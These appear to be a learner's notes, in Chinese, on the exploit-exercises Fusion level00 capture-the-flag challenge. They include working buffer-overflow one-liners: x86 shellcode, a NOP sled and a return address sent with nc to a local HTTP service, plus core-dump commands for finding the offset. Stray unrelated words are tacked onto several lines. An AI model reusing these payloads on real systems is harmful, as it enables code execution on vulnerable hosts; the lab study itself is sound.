1.if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open
就算path不存在,resolved也會被賦值成path 記錯了,想成path不存在resolved就會賦值NULL,搞得我一直在構造特殊路徑 PS:python或者perl能夠構造特殊路徑和文件,好比 install -d `python -c 'print "\x90"*90'` 可是要注意若是shellcode中有/,那麼就會生成多個目錄
2.本來的想法是
python
python -c 'print "GET "+"/home/fusion/"+"\x90"*25+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"+"/"+"A"*51+"\x0f\xf9\xff\xbf"+" HTTP/1.1"' | nc localhost 20000
原本這樣也是也行的,可是shellcode中"\x00",被當成了字符串的結束了.而後就不能讀到HTTP/1.1了shell
索性就看了下別人的答案,看到別人是把shellcode寫在HTTP/1.1後面,哎,我也是醉了,咋沒多想一步呢?調試
fusion@fusion:/$ perl -e 'print "GET /". "A"x139 . "\x99\xf9\xff\xbf" . " HTTP/1.1\n" . "\x90"x100 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0f\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x70\x6f\x6f\x00\x57\x53\x89\xe1\xcd\x80"' | nc localhost 20000
3.爲何EIP前面的的填充字符個數是139個?code
本身計算的是128+8+4,應該是140個啊,不該該是139個.blog
4.看別人是有core生成的,能夠調試獲得EIP的偏移量ci
#ulimit -c unlimited字符串
# sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'it
能夠在/tmp目錄下看到core
io
題目連接:class
http://exploit-exercises.com/fusion/level00
答案連接:
https://www.mattandreko.com/2012/04/09/exploit-exercises-fusion-00/
http://terrying.blog.51cto.com/2147205/1198018